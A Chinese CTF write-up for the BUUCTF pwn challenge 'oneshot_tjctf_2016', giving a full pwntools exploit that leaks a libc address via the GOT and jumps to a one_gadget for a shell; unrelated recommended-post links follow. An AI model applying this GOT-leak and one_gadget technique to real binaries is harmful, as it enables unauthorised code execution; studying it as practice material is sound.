[BUUCTF]-PWN:oneshot_tjctf_2016解析(字符串输入,onegadget)

查看保护

查看ida

这道题的大致思路就是泄露libc地址,然后用onegadget来getshell

但是要注意,这里要我们输入的数据类型是long int,所以不能用我们常用的p64函数了。

完整exp:

复制代码
from pwn import*
from LibcSearcher import*
context(log_level='debug')
p=process('./oneshot')
p=remote('node5.buuoj.cn',26499)
puts_got=0x600AD8
printf_got=0x600AE8
p.sendlineafter(b'Read location?',str(puts_got))
p.recvuntil(b'Value: ')
puts_addr=int(p.recv(18),16)
print(puts_addr)
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
onegadget=libcbase+0x45216
p.sendlineafter(b'Jump location?',str(onegadget))
p.interactive()
相关推荐
deng-c-f23 分钟前
Linux C/C++ 学习日记(29):IO密集型与CPU密集型、CPU的调度与线程切换
linux·学习·线程·cpu·io密集·cpu密集
岁月宁静2 小时前
深度定制:在 Vue 3.5 应用中集成流式 AI 写作助手的实践
前端·vue.js·人工智能
报错小能手3 小时前
linux学习笔记(43)网络编程——HTTPS (补充)
linux·网络·学习
报错小能手3 小时前
linux学习笔记(45)git详解
linux·笔记·学习
心易行者3 小时前
10天!前端用coze,后端用Trae IDE+Claude Code从0开始构建到平台上线
前端
saadiya~4 小时前
ECharts 实时数据平滑更新实践(含 WebSocket 模拟)
前端·javascript·echarts
fruge4 小时前
前端三驾马车(HTML/CSS/JS)核心概念深度解析
前端·css·html
Maple_land4 小时前
常见Linux环境变量深度解析
linux·运维·服务器·c++·centos
百锦再4 小时前
Vue Scoped样式混淆问题详解与解决方案
java·前端·javascript·数据库·vue.js·学习·.net
烛阴4 小时前
Lua 模块的完整入门指南
前端·lua